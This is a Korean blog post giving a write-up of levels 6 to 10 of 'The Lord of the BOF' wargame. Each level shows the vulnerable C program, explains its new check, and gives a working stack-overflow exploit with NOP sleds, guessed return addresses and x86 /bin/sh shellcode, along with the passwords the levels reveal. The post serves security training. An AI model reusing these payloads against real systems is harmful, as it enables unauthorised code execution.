sweetchip's blog


안녕하세요 sweetchip입니다.


지난 포스팅에 이어서 계속 쓰려고 합니다.


LOB level 1~5 Exploit

Level6 -----------------------------------------------------------------------------------------------------------------

[wolfman@localhost wolfman]$ cat darkelf.c

/*

The Lord of the BOF : The Fellowship of the BOF

- darkelf

- egghunter buffer hunter check length of argv[1]

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);

}



점점더 레벨이 올라갈수록 조건이 추가되는군요.


하지만 취약점이 발생하는 부분은 동일하므로 조건만 잘 이용해주시면 되겠습니다.


이번의 조건은 에그헌터 버퍼헌터 인자1 길이체크입니다.


하지만 인자가 몇개여야 한다는 조건은 없어서 인자 2에 nop슬레딩과 쉘코드를 올리고 공격하겠습니다.


그리고 인자 1에서의 48번째 바이트에는 \xbf가 꼭 들어가야 한다고 하는군요.


48번쨰 바이트는 리턴어드레스 부분이라 인자2를 활용할경우는 \xbf가 들어가므로 상관없습니다.


아래 exploit을 보시면 이해가 가실겁니다.


-----------------------------------------------------------------------------------------------------------------

level6 wolfman - love eyuna


payload - nop*44, ret <- argv[1]

- nop*5000, 25bytes_shellcode <- argv[2]


./darkelf `perl -e'print "\xbf"x44,"\xa4\xf8\xff\xbf"'` `perl -e'print "\x90"x5000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is kernel crashed

-----------------------------------------------------------------------------------------------------------------



Level7 -----------------------------------------------------------------------------------------------------------------

[darkelf@localhost darkelf]$ cat orge.c

/*

The Lord of the BOF : The Fellowship of the BOF

- orge

- check argv[0]

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// here is changed!

if(strlen(argv[0]) != 77){

printf("argv[0] error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);

}



오.. 이번에는 argv[0]을 체크하는 새로운 조건이 추가되었습니다.


나머지는 이전과 똑같습니다.


일단 argv[0] 인자는 파일명입니다. 파일명의 길이가 77이 아니면 프로그램을 종료시켜버립니다.


대부분 분들은 Symbolic Link 를 이용하여 푸시겠지만. 구글링의 결과로 약간 다른 방법으로 풀이했습니다.


일단 file이라는 프로그램을 실행시킬때는 ./file 을 명령어로 주면 실행이 되는데 .//file 도 똑같이 실행이됩니다.


그말인 즉슨 .///////file 을 해도 상관이 없다는것이며, 이것을 이용해서 argv[0]의 77글자 조건을 만족할수 있다는 것입니다.


그렇다면 argv[0]은 77글자로, argv[1]은 리턴어드레스를 인자2의 주소로 변경시키고, argv[2]엔 놉슬레딩과 쉘코드를 담을것입니다.


.//// 이것을 77번을 계속 하기엔 약간 귀차니즘이 있으므로 지금까지 위에서 했던 리턴어드레스를 보고 대충 때려잡을수 있도록 nop의 크기를 크게 하고


적절한곳에 리턴어드레스를 게싱해서 그쪽으로 돌려보내줬더니 공격에 성공했습니다.


-----------------------------------------------------------------------------------------------------------------

level7 darkelf - kernel crashed


payload - argv[0] <- 77byte

"A"*44 RET[guessing] <- argv[1]

nop*50000 shellcode


.////////////////////////////////////////////////////////////////////////orgg `perl -e'print "\x41"x44,"\xa4\xf7\xff\xbf",'` `perl -e 'print "\x90"x50000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`


password is timewalker

-----------------------------------------------------------------------------------------------------------------

Level8 -----------------------------------------------------------------------------------------------------------------

[orge@localhost orge]$ cat troll.c

/*

The Lord of the BOF : The Fellowship of the BOF

- troll

- check argc argv hunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i;


// here is changed

if(argc != 2){

printf("argc must be two!\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


strcpy(buffer, argv[1]); //Vuln!!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);


// one more!

memset(argv[1], 0, strlen(argv[1]));

}


아.. 조건이 너무 많습니다 ㅠㅠ


이번 조건은 argv의 개수가 반드시 2개여야 합니다.


즉 파일명인 argv[0]과 여러조건이 담긴 argv[1] 밖에 사용할수 없습니다.


이번엔 symbolic link 를 이용하여 풀어보겠습니다.


심볼릭 링크는 바로가기같은 것이라고 생각하시면 쉽습니다.


아래와 같이 심볼릭 링크를 생성합니다.

ln -s troll ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`

troll 이라는 bof 취약점이 존재하는 프로그램을 연결시켜주는 심볼릭 링크를 생성합니다.


심볼릭 링크의 이름은


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


라는 아름다운 이름을 가지게 되었습니다. ㅋㅋ


좋습니다. gdb로 심볼릭 링크를 열면 어느부분에 쉘코드를 보실수 있습니다.


그 주소를 적절히 찾아낸후 리턴어드레스를 변조시킵니다.


-----------------------------------------------------------------------------------------------------------------

level8 orge - timewalker


payload - argv[0] <- shellcode [symblolic_link]

argv[1] <- bf*44 ret


./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e'print "\xbf"x44,"\xb4\xfb\xff\xbf"'`


password is aspirin

-----------------------------------------------------------------------------------------------------------------


Level9 -----------------------------------------------------------------------------------------------------------------

[troll@localhost troll]$ cat vampire.c

/*

The Lord of the BOF : The Fellowship of the BOF

- vampire

- check 0xbfff

*/


#include

#include


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// here is changed!

if(argv[1][46] == '\xff')

{

printf("but it's not forever\n");

exit(0);

}


strcpy(buffer, argv[1]); // Vuln!!

printf("%s\n", buffer);

}


마지막 부분에 이곳이 바뀌엇다는 주석이 달린곳을 자세히 보세요.


아니 이런.. \xff 이면 그냥 꺼버린다는 것입니다.


./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e'print "\xbf"x44,"\xb4\xfb\xff\xbf"'`


위는 레벨8의 Payload입니다.


두껍게 처리된 부분 \xff가 이번에 새로 생긴 조건을 체크하는 부분이고 [47바이트 부분]


두껍게 처리된 부분 \xbf가 원래 있엇던 조건입니다. [48바이트 부분]


그렇다면 저부분은 리턴어드레스를 변조하는 부분입니다.


\xbf는 원래있엇던 것이니 상관이 없는데, \xff는 어떻게 하냐는 건데,


이는 놉슬레딩을 잘 이용해보신 분이라면 알수 있습니다.


nop을 많이 집어넣을수록 낮은 주소로 가게되는데, 이를 이용하면 공격이 가능합니다.


평소의 스케일과는 달리 이번엔 nop을 많이 넣어버리겠습니다.


-----------------------------------------------------------------------------------------------------------------

level9 troll - aspirin


payload -argv[1] <- nop*44 ret

-argv[2] <- nop*100000 shellcode


./vampire `perl -e'print "\x90"x44,"\x18\x77\xfe\xbf"'` `perl -e'print "\x90"x100000,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`



password is music world

-----------------------------------------------------------------------------------------------------------------


Level10 -----------------------------------------------------------------------------------------------------------------


아~ 이제 레벨 10, 중간을 향해 달려가고 있습니다.


[vampire@localhost vampire]$ cat skeleton.c

/*

The Lord of the BOF : The Fellowship of the BOF

- skeleton

- argv hunter

*/


#include

#include


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i )

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


// argc saver

saved_argc = argc;


strcpy(buffer, argv[1]); // Vuln!

printf("%s\n", buffer);


// buffer hunter

memset(buffer, 0, 40);


// ultra argv hunter!

for(i=0; i

memset(argv[i], 0, strlen(argv[i]));

}



이번엔 약간 화나는 조건이 생겼습니다.


맨 마지막에 보시면 주석처리된 ultra argv hunter 를 보실수 있는데,


이는 모든 인자를 그 인자의 크기만큼 모두다 0으로 초기화 시키는 무서운놈입니다.


하지만 위에 조건이 있어서 RTL공격도 할수가 없고,,


어케하지.. 어케하지.. 하는 도중 gdb로 엔터를 다다다닥 눌러보니 맨끝에 파일명이 저장되는것을 볼수있었습니다.


그것을 이용하면 될거라는 생각에 바로 시도했습니다.


일단 결과부터 말씀드리면 성공입니다.


이렇게 푸는게 맞나 햇는데 다른분들도 이렇게 푸셧더군요.. 휴.


이번에도 역시 심볼릭 링크를 이용합니다.


참고 : 문제 풀이중 의도치 않게 리턴어드레스가 이상하게 조작이 되었는데, 그것은 적절히 nop을 이용하시면 푸실수 있습니다.


파일명에 nop을 적절히 섞고, 쉘코드를 올리고 뒤에 nop을 또 넣습니다. 바로 윗줄에서 그랬듯이 exploit이 안되서 core을 살펴보니


리턴 어드레스가 이상하게 변조되서 그것을 맞춰주느라 nop을 추가로 넣었습니다.


-----------------------------------------------------------------------------------------------------------------

level10 vampire - music world


payload - argv[0] <- nop*130 shellcode nop*61

argv[1] <- bf*44 ret


./`perl -e'print "\x90"x130, "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81","\x90"x61'` `perl -e'print "\xbf"x44,"\x70\xff\xff\xbf"'`


password is shellcoder


-----------------------------------------------------------------------------------------------------------------


성공적으로 쉘을 획득하고 패스워드를 알아냈습니다.


이제 딱 반을 달렷네요.


나머지는 3월 이내로올리겠습니다.


요즘 개인적인 일이 너무 많네요.

신고

댓글 0